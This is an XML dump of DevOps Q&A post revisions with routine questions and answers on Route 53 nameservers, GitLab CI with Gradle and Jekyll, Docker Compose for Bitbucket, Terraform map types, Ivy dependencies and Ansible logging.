  <row Id="37233" PostHistoryTypeId="2" PostId="12122" RevisionGUID="3748c937-8ccc-41fc-8284-c83987d7c2d5" CreationDate="2020-08-02T11:25:09.603" UserId="23350" Text="I am transfering a domain name from namecheap to aws route 53 service. AWS provides you with three options when transfering:&#xD;&#xA;&#xD;&#xA;&gt; 1. Continue to use the name servers provided by the current registrar or&#xD;&#xA;&gt; DNS service. &#xD;&#xA;&gt; 2. Import name servers from a Route 53 hosted zone that has&#xD;&#xA;&gt; the same name as the domain. &#xD;&#xA;&gt; 3. Specify new name servers to replace the&#xD;&#xA;&gt; current registrar's name servers (not recommended)&#xD;&#xA;&#xD;&#xA;what is the advantage of using option 2 over the others. What is the difference in pros and cons between the options?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37234" PostHistoryTypeId="1" PostId="12122" RevisionGUID="3748c937-8ccc-41fc-8284-c83987d7c2d5" CreationDate="2020-08-02T11:25:09.603" UserId="23350" Text="What are the advantages of using AWS nameservers as opposed to servers provided by other registrars?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37235" PostHistoryTypeId="3" PostId="12122" RevisionGUID="3748c937-8ccc-41fc-8284-c83987d7c2d5" CreationDate="2020-08-02T11:25:09.603" UserId="23350" Text="&lt;amazon-web-services&gt;&lt;dns&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37236" PostHistoryTypeId="2" PostId="12123" RevisionGUID="6fac8f0a-809a-4549-b6e2-1ebc917cfb0b" CreationDate="2020-08-02T11:45:02.033" UserId="8049" Text="There are two parts to owning a domain. The registration, and the hosting of the DNS entries.  AS you are transferring the domain registration, AWS needs to know who's service do you want to use for managing your DNS host names and other settings.&#xD;&#xA;&#xD;&#xA;As a sensible default, select option (1) as this will keep everything managed with the current registrar / hosting company and so nothing will break (at this point in time).  When your hosting expires with this company, its quite likely they will drop all of your DNS settings as well, in which case you will need to have migrated somewhere else before this point (options 2 and 3)&#xD;&#xA;&#xD;&#xA;However, if you are using AWS services you really should be managing the DNS settings in AWS, and will want to create a Route 53 hosted zone. This provides better integration with the AWS environment, and allows you to use some of the &quot;AWS aware&quot; aspects of Route53 for your infrastructure.  Assuming that you initially selected option 1, you should then set up a parallel zone in Route53, verify all of the DNS records match (except NS settings for the domain) and then update your Domain registration to use option 2.  Changing this setting can take 72 hours to roll across the internet. In my experience, usually 90% of the internet knows in under 6 hours.&#xD;&#xA;&#xD;&#xA;Option 3 means you (or someone else) is managing the Domain DNS master server for your domain.  There may be situations where this makes sense, but they are rare.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37241" PostHistoryTypeId="2" PostId="12125" RevisionGUID="0ec69322-9497-4649-8b0a-9c7fa3b251cc" CreationDate="2020-08-03T10:57:31.157" UserId="23406" Text="There is an Android application using Grandle for build. It uses a &quot;library&quot; stated in build.gradle file:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;dependencies {&#xD;&#xA;    api project(path: ':specialproject.speciallibrary', configuration: 'default')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It is configured in settings.gradle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;include ':specialproject.speciallibrary'&#xD;&#xA;project(':specialproject.speciallibrary').projectDir = new File('../specialprojectlibrary')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Developers currently have the main project and specialprojectlibrary projects side-by-side on their computers. So when they build it, Gradle fetches specialprojectlibrary and builds it when building the main app (APK.&#xD;&#xA;&#xD;&#xA;Now, when would like to have GitLab CI/CD for the app. Main app and library app are in separe Git repositories and under separate projects inside a group in GitLab.&#xD;&#xA;&#xD;&#xA;After creating CI/CD it occured it throws error:&#xD;&#xA;&#xD;&#xA;FAILURE: Build failed with an exception.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;* What went wrong:&#xD;&#xA;Could not determine the dependencies of task ':something:xyz'.&#xD;&#xA;&gt; Could not resolve all task dependencies for configuration ':something:xyz'.&#xD;&#xA;   &gt; **Could not resolve project :specialproject.speciallibrary.**&#xD;&#xA;     Required by:&#xD;&#xA;         project :mainproject&#xD;&#xA;      &gt; Project :mainproject declares a dependency from configuration 'api' to configuration 'default' which is not declared in the descriptor for project :specialproject.speciallibrary.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I assume it is because it canon CI/CD Gradle of the main app does not have access to library code under .//specialprojectlibrary.&#xD;&#xA;&#xD;&#xA;So my question is:&#xD;&#xA;&#xD;&#xA;How to copy library source code from other Git repo to an Android Gradle application GitLab build process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37242" PostHistoryTypeId="1" PostId="12125" RevisionGUID="0ec69322-9497-4649-8b0a-9c7fa3b251cc" CreationDate="2020-08-03T10:57:31.157" UserId="23406" Text="How to copy library source code from other Git repo to an Android Gradle application GitLab build process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37243" PostHistoryTypeId="3" PostId="12125" RevisionGUID="0ec69322-9497-4649-8b0a-9c7fa3b251cc" CreationDate="2020-08-03T10:57:31.157" UserId="23406" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;gitlab-ci-runner&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37250" PostHistoryTypeId="5" PostId="472" RevisionGUID="6fd38aa6-445f-428f-9bae-b6467a80a209" CreationDate="2020-08-03T12:43:31.713" UserId="1180" Comment="wrong link removed, attribution added" Text="From [Wikipedia](https://en.wikipedia.org/wiki/Branching_(version_control)):&#xD;&#xA;&#xD;&#xA;&gt; Branching, in revision control and software configuration management,&#xD;&#xA;&gt; is the duplication of an object under revision control (such as a&#xD;&#xA;&gt; source code file or a directory tree) so that modifications can happen&#xD;&#xA;&gt; in parallel along both branches.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Branches are also known as trees, streams or codelines. The&#xD;&#xA;&gt; originating branch is sometimes called the parent branch, the upstream&#xD;&#xA;&gt; branch (or simply upstream, especially if the branches are maintained&#xD;&#xA;&gt; by different organizations or individuals), or the backing stream.&#xD;&#xA;&gt; Child branches are branches that have a parent; a branch without a&#xD;&#xA;&gt; parent is referred to as the trunk or the mainline.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; Branching also generally implies the ability to later merge or&#xD;&#xA;&gt; integrate changes back onto the parent branch. Often the changes are&#xD;&#xA;&gt; merged back to the trunk, even if this is not the parent branch. A&#xD;&#xA;&gt; branch not intended to be merged (e.g. because it has been relicensed&#xD;&#xA;&gt; under an incompatible license by a third party, or it attempts to&#xD;&#xA;&gt; serve a different purpose) is usually called a fork." ContentLicense="CC BY-SA 4.0" />
  <row Id="37251" PostHistoryTypeId="24" PostId="472" RevisionGUID="6fd38aa6-445f-428f-9bae-b6467a80a209" CreationDate="2020-08-03T12:43:31.713" Comment="Proposed by 1180 approved by 40 edit id of 1260" ContentLicense="CC BY-SA 4.0" />
  <row Id="37252" PostHistoryTypeId="2" PostId="12127" RevisionGUID="e60e7a27-4482-4843-bee5-b078f10181f6" CreationDate="2020-08-03T13:06:15.703" UserId="20048" Text="I find this to be an organisational question.&#xA;&#xA;There are many approaches to this, but I find there are 3 distinctive types:&#xA;&#xA;- DevOps in the product teams.&#xA;- A DevOps team.&#xA;- Shared DevOps Engineers.&#xA;&#xA;If the product teams themselves can do the DevOps, the DevOps part could have one or more responsible persons who are well educated on the matter and that would review pull requests from the DevOps perspective. &#xA;&#xA;A DevOps team could even store their code in separate repositories that only they have access to and could work together on solving the issues.&#xA;&#xA;A DevOps engineer could also work with many teams offering assistance when needed, if the burden isn't much. Say you have 8 products and 2 DevOps engineers that each are responsible for supporting 4 products.&#xA;&#xA;One crucial difference is how knowledge is shared but also responsiveness. Dedicated DevOps engineer can focus on solving the problems for the product team while shared engineers and teams ultimately would have to prioritise between the products which will create delays - what DevOps is supposed to prevent. Hence, all teams should have people with basic DevOps knowledge, but there should also be people with extensive knowledge and experience available.&#xA;&#xA;Personally I don't find the &quot;DevOps team&quot; approach good, I find that it's pretty much just a rename of the operations team - but it's a good start! " ContentLicense="CC BY-SA 4.0" />
  <row Id="37253" PostHistoryTypeId="5" PostId="12127" RevisionGUID="f1b60994-52c1-4f98-abcf-86aad8b49ad1" CreationDate="2020-08-03T13:15:32.933" UserId="20048" Comment="added 102 characters in body" Text="I find this to be an organisational question.&#xA;&#xA;There are many approaches to this, but I find there are 3 distinctive types:&#xA;&#xA;- DevOps in the product teams.&#xA;- A DevOps team.&#xA;- Shared DevOps Engineers.&#xA;&#xA;If the product teams themselves can do the DevOps, the DevOps part could have one or more responsible persons who are well educated on the matter and that would review pull requests from the DevOps perspective. &#xA;&#xA;A DevOps team could even store their code in separate repositories that only they have access to and could work together on solving the issues.&#xA;&#xA;A DevOps engineer could also work with many teams offering assistance when needed, if the burden isn't much. Say you have 8 products and 2 DevOps engineers that each are responsible for supporting 4 products.&#xA;&#xA;One crucial difference is how knowledge is shared but also responsiveness. Dedicated DevOps engineer can focus on solving the problems for the product team while shared engineers and teams ultimately would have to prioritise between the products which will create delays - what DevOps is supposed to prevent. Hence, all teams should have people with basic DevOps knowledge, but there should also be people with extensive knowledge and experience available.&#xA;&#xA;Personally I don't find the &quot;DevOps team&quot; approach good, I find that it's pretty much just a rename of the operations team - but it's a good start! A better approach could be having a DevOps lead and regular meetings where knowledge could be shared. " ContentLicense="CC BY-SA 4.0" />
  <row Id="37254" PostHistoryTypeId="2" PostId="12128" RevisionGUID="a170e8e5-d0e2-4687-b5df-13a36dfc7d87" CreationDate="2020-08-03T13:56:26.903" UserId="8049" Text="I think that the simplest solution is to have the lifecycle of the 7-Zip package managed by exec resources rather than as package resources.  Imagine an exec resource that installs 7-zip, lets call it **install-7-zip**.  There is also a second puppet exec resource that uninstalls 7-zip, lets call it **uninstall-7-zip**. &#xD;&#xA;&#xD;&#xA;If all of your other puppet resources that need to use 7-zip then require 'install-7-zip' and notify 'uninstall-7-zip' then they will all be actioned whilst the executable is available.&#xD;&#xA;&#xD;&#xA;however its not a very puppet way to solve the problem. It means that even if there are no changes required, you will still be running these exec resources, and puppet will think it has changed the platform.&#xD;&#xA;&#xD;&#xA;is repackaging the azure pipeline package a possible alternative? perhaps re-zipping it with a different compression setting? or generating a self extracting 7-zip exe instead?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37255" PostHistoryTypeId="2" PostId="12129" RevisionGUID="04e4e2ed-0c19-4711-9b37-f94712e5b706" CreationDate="2020-08-03T15:17:23.503" UserId="11278" Text="I'm using Jekyll to build a static site and deploy it with GitLab Pages. This site is compounded of posts (contained in the `site/_posts` folder) and refer to other HTML and Markdown documents that I placed in an `assets` folder at the project's root, [as recommended](https://jekyllrb.com/docs/posts/#including-images-and-resources) by Jekyll docs.&#xD;&#xA;&#xD;&#xA;When I build the website in the pipeline it runs and deploys it successfully to GitLab Pages. However, if I am able to find my posts, the links towards the files allegedly contained in `assets` return a 404. When I browse the `public` artifacts file, I can't see said files in the assets folder, even though I put them there before building the site. &#xD;&#xA;&#xD;&#xA;What am I missing here? It runs fine when serving locally but as soon as it is deployed on GitLab Pages I can't access the assets file. &#xD;&#xA;&#xD;&#xA;project architecture:&#xD;&#xA;&#xD;&#xA;    site/&#xD;&#xA;    |__&gt; _posts/&#xD;&#xA;    |____&gt; entry.md&#xD;&#xA;    assets/&#xD;&#xA;    |__&gt; v{{ version }}/&#xD;&#xA;    |____&gt; yellow-ducky.html&#xD;&#xA;    |____&gt; black-ducky.md&#xD;&#xA;&#xD;&#xA;.gitlab-ci.yml excerpt:&#xD;&#xA;&#xD;&#xA;    pages:&#xD;&#xA;      stage: deploy&#xD;&#xA;      tags: [docker-connect]&#xD;&#xA;      script:&#xD;&#xA;        # entry.md is the blog post I want to publish&#xD;&#xA;        - mv entry.md site/_posts/`date +'%Y-%m-%d'`-entry.md&#xD;&#xA;        # reports come from a previous job's artifacts and contain all files I want to place in assets&#xD;&#xA;        - mkdir -p assets assets/v${TAG}&#xD;&#xA;        - mv reports/* assets/v${TAG}/&#xD;&#xA;        # build website&#xD;&#xA;        - gem install bundler&#xD;&#xA;        - cd site&#xD;&#xA;        - bundle install&#xD;&#xA;        - bundle exec jekyll build -d public&#xD;&#xA;        # move built files to the folder where GitLab expects to find them&#xD;&#xA;        - cd .. &amp;&amp; mkdir -p public &amp;&amp; mv site/public/* public/&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - public&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;_config.yml excerpt:&#xD;&#xA;&#xD;&#xA;    title: RubberDucky&#xD;&#xA;    email: rubber@duck.io&#xD;&#xA;    description: &gt;- # this means to ignore newlines until &quot;baseurl:&quot;&#xD;&#xA;      This is the place where to find all info you need about rubber ducks. &#xD;&#xA;    baseurl: &quot;/toys/rubberduck&quot; # the subpath of your site, e.g. /blog&#xD;&#xA;    url: &quot;https://gitlab.troubleshoot.io&quot; # the base hostname &amp; protocol for your site, e.g. http://example.com&#xD;&#xA;    # Build settings&#xD;&#xA;    theme: minima&#xD;&#xA;    plugins:&#xD;&#xA;      - jekyll-feed&#xD;&#xA;&#xD;&#xA;blog post excerpt: &#xD;&#xA;&#xD;&#xA;    &lt;ul style=&quot;list-style-type:none&quot;&gt;&#xD;&#xA;        {% for duck in ducks %}&#xD;&#xA;            &lt;h2&gt;{{ duck.name }}&lt;/h2&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;assets/v{{ version }}/{{ duck.url }}&quot;&gt;View&lt;/a&gt; | &lt;a href=&quot;assets/v{{ version }}/{{ duck.url }}&quot; download&gt;Download&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        {% endfor %}&#xD;&#xA;    &lt;/ul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37256" PostHistoryTypeId="1" PostId="12129" RevisionGUID="04e4e2ed-0c19-4711-9b37-f94712e5b706" CreationDate="2020-08-03T15:17:23.503" UserId="11278" Text="How to render assets when building a static website with GitLab Pages and Jekyll" ContentLicense="CC BY-SA 4.0" />
  <row Id="37257" PostHistoryTypeId="3" PostId="12129" RevisionGUID="04e4e2ed-0c19-4711-9b37-f94712e5b706" CreationDate="2020-08-03T15:17:23.503" UserId="11278" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;yaml&gt;&lt;jekyll&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37258" PostHistoryTypeId="2" PostId="12130" RevisionGUID="1f5506ae-e21a-49b5-86e0-132a397bbbea" CreationDate="2020-08-03T16:59:47.020" UserId="18007" Text="Where can I find a simple dockerfile example which contains installation for these images: Artiffactory, Bitbucket/Gitlab, ELK, Nginx, Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="37259" PostHistoryTypeId="1" PostId="12130" RevisionGUID="1f5506ae-e21a-49b5-86e0-132a397bbbea" CreationDate="2020-08-03T16:59:47.020" UserId="18007" Text="Example for dockerfile with different applications" ContentLicense="CC BY-SA 4.0" />
  <row Id="37260" PostHistoryTypeId="3" PostId="12130" RevisionGUID="1f5506ae-e21a-49b5-86e0-132a397bbbea" CreationDate="2020-08-03T16:59:47.020" UserId="18007" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37261" PostHistoryTypeId="5" PostId="12130" RevisionGUID="d825b0fc-978b-431f-985a-b26716844044" CreationDate="2020-08-03T17:51:10.090" UserId="18007" Comment="added 1853 characters in body; edited tags" Text="I'm trying to run the below on centos7 thought Vagrant:&#xD;&#xA;&#xD;&#xA;    version: &quot;3.3&quot;&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      artifactory:&#xD;&#xA;        image: docker.bintray.io/jfrog/artifactory-pro:latest&#xD;&#xA;        ports:&#xD;&#xA;          - 8081:8081&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;      elk:&#xD;&#xA;        image: sebp/elk:latest&#xD;&#xA;        ports:&#xD;&#xA;            - 5601:5601&#xD;&#xA;            - 9200:9200&#xD;&#xA;            - 5044:5044&#xD;&#xA;      jenkins:&#xD;&#xA;        image: jenkins&#xD;&#xA;        ports:&#xD;&#xA;          - 8080:8080&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;      gitlab:&#xD;&#xA;        image: gitlab/gitlab-ee:latest&#xD;&#xA;        ports:&#xD;&#xA;          - 80:80&#xD;&#xA;          - 443:443&#xD;&#xA;          - 22:22&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;      bitbucket:&#xD;&#xA;        image: atlassian/bitbucket:latest&#xD;&#xA;        ports:&#xD;&#xA;          - 7990:7990&#xD;&#xA;          - 7999:7999&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;    networks:&#xD;&#xA;      my-app-net:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;vagrant file:&#xD;&#xA;&#xD;&#xA;    config.vm.network &quot;forwarded_port&quot;, guest: 8080, host: 8080&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 5000, host: 5000&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 8081, host: 8081&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 5601, host: 5601&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 9200, host: 9200&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 5044, host: 5044&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 7990, host: 7990&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 7999, host: 7999&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 443, host: 443&#xD;&#xA;      config.vm.network &quot;forwarded_port&quot;, guest: 22, host: 22&#xD;&#xA;&#xD;&#xA;but I have few issues:&#xD;&#xA;1. the bitbucket image doesn't work although I took it from the official site:&#xD;&#xA;https://hub.docker.com/r/atlassian/bitbucket-server/&#xD;&#xA;2. None of the localhost:[port] is working besides Jenkins (8080).&#xD;&#xA;what I'm missing here? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37262" PostHistoryTypeId="6" PostId="12130" RevisionGUID="d825b0fc-978b-431f-985a-b26716844044" CreationDate="2020-08-03T17:51:10.090" UserId="18007" Comment="added 1853 characters in body; edited tags" Text="&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;vagrant&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37263" PostHistoryTypeId="4" PostId="12130" RevisionGUID="d825b0fc-978b-431f-985a-b26716844044" CreationDate="2020-08-03T17:51:10.090" UserId="18007" Comment="added 1853 characters in body; edited tags" Text="self learning- dockerfile for some applications doesn't work as expected" ContentLicense="CC BY-SA 4.0" />
  <row Id="37264" PostHistoryTypeId="50" PostId="1458" RevisionGUID="fc743eb2-d836-4cad-ad13-739d8ffe723f" CreationDate="2020-08-03T19:03:55.313" UserId="-1" />
  <row Id="37266" PostHistoryTypeId="5" PostId="12130" RevisionGUID="b692d3fe-672c-4628-88d8-3619a1e5dd96" CreationDate="2020-08-03T19:52:01.630" UserId="18007" Comment="changed the question" Text="I'm trying to run the below dockerfile on centos7 thought Vagrant:&#xD;&#xA;&#xD;&#xA;    version: &quot;3.3&quot;&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      bitbucket:&#xD;&#xA;        image: atlassian/bitbucket:latest&#xD;&#xA;        ports:&#xD;&#xA;          - 7990:7990&#xD;&#xA;          - 7999:7999&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;    networks:&#xD;&#xA;      my-app-net:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;But it fails to install it. I took the info from here:&#xD;&#xA;https://hub.docker.com/r/atlassian/bitbucket-server/&#xD;&#xA;did someone manage to install it as a container on Centos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37267" PostHistoryTypeId="4" PostId="12130" RevisionGUID="b692d3fe-672c-4628-88d8-3619a1e5dd96" CreationDate="2020-08-03T19:52:01.630" UserId="18007" Comment="changed the question" Text="is it possible to install bitbucket container on Centos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37268" PostHistoryTypeId="6" PostId="12130" RevisionGUID="b692d3fe-672c-4628-88d8-3619a1e5dd96" CreationDate="2020-08-03T19:52:01.630" UserId="18007" Comment="changed the question" Text="&lt;docker-compose&gt;&lt;containers&gt;&lt;dockerfile&gt;&lt;bitbucket&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37269" PostHistoryTypeId="4" PostId="12130" RevisionGUID="26486417-3013-4615-8b32-a5943bce3fec" CreationDate="2020-08-03T19:59:23.770" UserId="18007" Comment="edited title" Text="Is it possible to install bitbucket container on Centos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37270" PostHistoryTypeId="2" PostId="12131" RevisionGUID="5f372544-4b98-464c-818b-68a403832a92" CreationDate="2020-08-03T22:05:52.063" UserId="12864" Text="What you need is not to check both projects side by side, but to add the library as a [Git submodule][1] in your application repository.&#xA;&#xA;Then [set up GitLab CI][2] to checkout submodules before build.&#xA;&#xA;This will not only make your CI work, but as an added benefit each commit from application repository will reference a specific commit from library repository, so  nobody will have to remember what commit to checkout in library repository to ensure the application builds correctly.&#xA;&#xA;&#xA;  [1]: https://git-scm.com/book/en/v2/Git-Tools-Submodules&#xA;  [2]: https://docs.gitlab.com/ee/ci/git_submodules.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37271" PostHistoryTypeId="2" PostId="12132" RevisionGUID="4c2de0cf-8d00-4ff9-bdf8-a4ef47307d02" CreationDate="2020-08-03T22:44:21.240" UserId="23415" Text="Nice to have you in the community!&#xD;&#xA;&#xD;&#xA;Following the documentation a `map` is a collection of key/values with a constraint: &#xD;&#xA;&#xD;&#xA;&gt;&quot;...accepts any element type as long as every element is the same type&quot; [source](https://www.terraform.io/docs/configuration/types.html#map-)&#xD;&#xA;&#xD;&#xA;So the input map you have declared, is already an invalid map for Terraform 0.12 (at least)&#xD;&#xA;&#xD;&#xA;Below the example of the error produced:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;cidrs&quot; {&#xD;&#xA;  description = &quot;&quot;&#xD;&#xA;  type        = map&#xD;&#xA;  default = [&#xD;&#xA;    [&quot;1.1.1.1&quot;],&#xD;&#xA;    [&quot;2.2.2.2&quot;, &quot;3.3.3.3&quot;],&#xD;&#xA;    {&#xD;&#xA;      C = [&quot;4.4.4.4&quot;]&#xD;&#xA;      D = [&quot;5.5.5.5&quot;]&#xD;&#xA;    }]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When validating an error is raised:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$&gt; terraform validate&#xD;&#xA;&#xD;&#xA;Error: Invalid default value for variable&#xD;&#xA;&#xD;&#xA;  on vars.tf line 65, in variable &quot;cidrs&quot;:&#xD;&#xA;  65:   default = [&#xD;&#xA;  66:     [&quot;1.1.1.1&quot;],&#xD;&#xA;  67:     [&quot;2.2.2.2&quot;, &quot;3.3.3.3&quot;],&#xD;&#xA;  68:     {&#xD;&#xA;  69:       C = [&quot;4.4.4.4&quot;]&#xD;&#xA;  70:       D = [&quot;5.5.5.5&quot;]&#xD;&#xA;  71:     }]&#xD;&#xA;&#xD;&#xA;This default value is not compatible with the variable's type constraint: map&#xD;&#xA;of any single type required.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Been that said, if we can generalize A and B as &quot;values which are lists&quot; and Group1 as &quot;values which are maps&quot; and the input is a fixed type ordered we can use a *[tuple](https://www.terraform.io/docs/configuration/types.html#tuple-)* or  an *[object](https://www.terraform.io/docs/configuration/types.html#object-)*, this can be solve in a more readable (and maintainable) way. If so, let us know so we can extend this answer.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37272" PostHistoryTypeId="5" PostId="12120" RevisionGUID="7c4d1911-d9a9-4030-af65-1e89905fe5e4" CreationDate="2020-08-04T01:09:16.467" UserId="23395" Comment="deleted 84 characters in body" Text="I am new to jenkins, and i am trying to make a deployment into a remote serve, but i am getting the following error:&#xD;&#xA;&#xD;&#xA;        Current dependency:com.vmd positionWatchLoader latest.integration&#xD;&#xA;    :: loading settings :: file = /tmp/tmp.uhKXp22892/ivysettings.xml&#xD;&#xA;    :: resolving dependencies :: com.org#appli-caller;working&#xD;&#xA;    	confs: [default]&#xD;&#xA;    	found com.org#appli;300000 in local&#xD;&#xA;    	[300000] com.org#appli;latest.integration&#xD;&#xA;    :: resolution report :: resolve 82ms :: artifacts dl 0ms&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    	|                  |            modules            ||   artifacts   |&#xD;&#xA;    	|       conf       | number| search|dwnlded|evicted|| number|dwnlded|&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    	|      default     |   1   |   1   |   0   |   0   ||   0   |   0   |&#xD;&#xA;    	---------------------------------------------------------------------&#xD;&#xA;    &#xD;&#xA;    :: problems summary ::&#xD;&#xA;    :::: WARNINGS&#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    		::          UNRESOLVED DEPENDENCIES         ::&#xD;&#xA;    &#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    		:: com.org#appli;300000: configuration not found in com.org#appli;300000: 'runtime'. It was required from com.org#appli-caller;working default&#xD;&#xA;    &#xD;&#xA;    		::::::::::::::::::::::::::::::::::::::::::::::&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    :: USE VERBOSE OR DEBUG MESSAGE LEVEL FOR MORE DETAILS&#xD;&#xA;&#xD;&#xA;And i am not able to interpret the error message, it says:  `configuration not found in com.vmd#positionWatchLoader;300000` which configuration ??&#xD;&#xA;&#xD;&#xA;    It was required from com.vmd#positionWatchLoader-caller;working default &#xD;&#xA;&#xD;&#xA;I have no dependency called: com.vmd#positionWatchLoader-caller !!!!!&#xD;&#xA;&#xD;&#xA;I do not know if it can help: i am using Ant to build and Ivy to manage dependencies.&#xD;&#xA;&#xD;&#xA;Any help will be much appreciated&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37273" PostHistoryTypeId="2" PostId="12133" RevisionGUID="f40ab45b-aa4d-4006-b0ae-399ba8b375c1" CreationDate="2020-08-04T01:10:35.910" UserId="23395" Text="I resolved the problem publishing the ivy.xml file to nexus too, adding `publishivy=&quot;true&quot;` to my publishing task in my build.xml file." ContentLicense="CC BY-SA 4.0" />
  <row Id="37274" PostHistoryTypeId="2" PostId="12134" RevisionGUID="4765dd35-9479-4990-9b17-5b677b80e3c7" CreationDate="2020-08-04T03:07:45.703" UserId="23416" Text="Ansible internally uses SSH Commands to run on the target machine . Is there a way to log the commands that are being executed ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37275" PostHistoryTypeId="1" PostId="12134" RevisionGUID="4765dd35-9479-4990-9b17-5b677b80e3c7" CreationDate="2020-08-04T03:07:45.703" UserId="23416" Text="How to log native commands run by Ansible Playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="37276" PostHistoryTypeId="3" PostId="12134" RevisionGUID="4765dd35-9479-4990-9b17-5b677b80e3c7" CreationDate="2020-08-04T03:07:45.703" UserId="23416" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37277" PostHistoryTypeId="5" PostId="12130" RevisionGUID="31fff4be-2740-4b47-8d8d-0c79f1150a4f" CreationDate="2020-08-04T03:48:55.397" UserId="18007" Comment="deleted 15 characters in body; edited tags" Text="I'm trying to run the below composefile on centos7:&#xD;&#xA;&#xD;&#xA;    version: &quot;3.3&quot;&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      bitbucket:&#xD;&#xA;        image: atlassian/bitbucket:latest&#xD;&#xA;        ports:&#xD;&#xA;          - 7990:7990&#xD;&#xA;          - 7999:7999&#xD;&#xA;        networks:&#xD;&#xA;          - my-app-net&#xD;&#xA;    networks:&#xD;&#xA;      my-app-net:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;But it fails to install it. I took the info from here:&#xD;&#xA;https://hub.docker.com/r/atlassian/bitbucket-server/&#xD;&#xA;did someone manage to install it as a container on Centos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37278" PostHistoryTypeId="6" PostId="12130" RevisionGUID="31fff4be-2740-4b47-8d8d-0c79f1150a4f" CreationDate="2020-08-04T03:48:55.397" UserId="18007" Comment="deleted 15 characters in body; edited tags" Text="&lt;docker-compose&gt;&lt;containers&gt;&lt;bitbucket&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
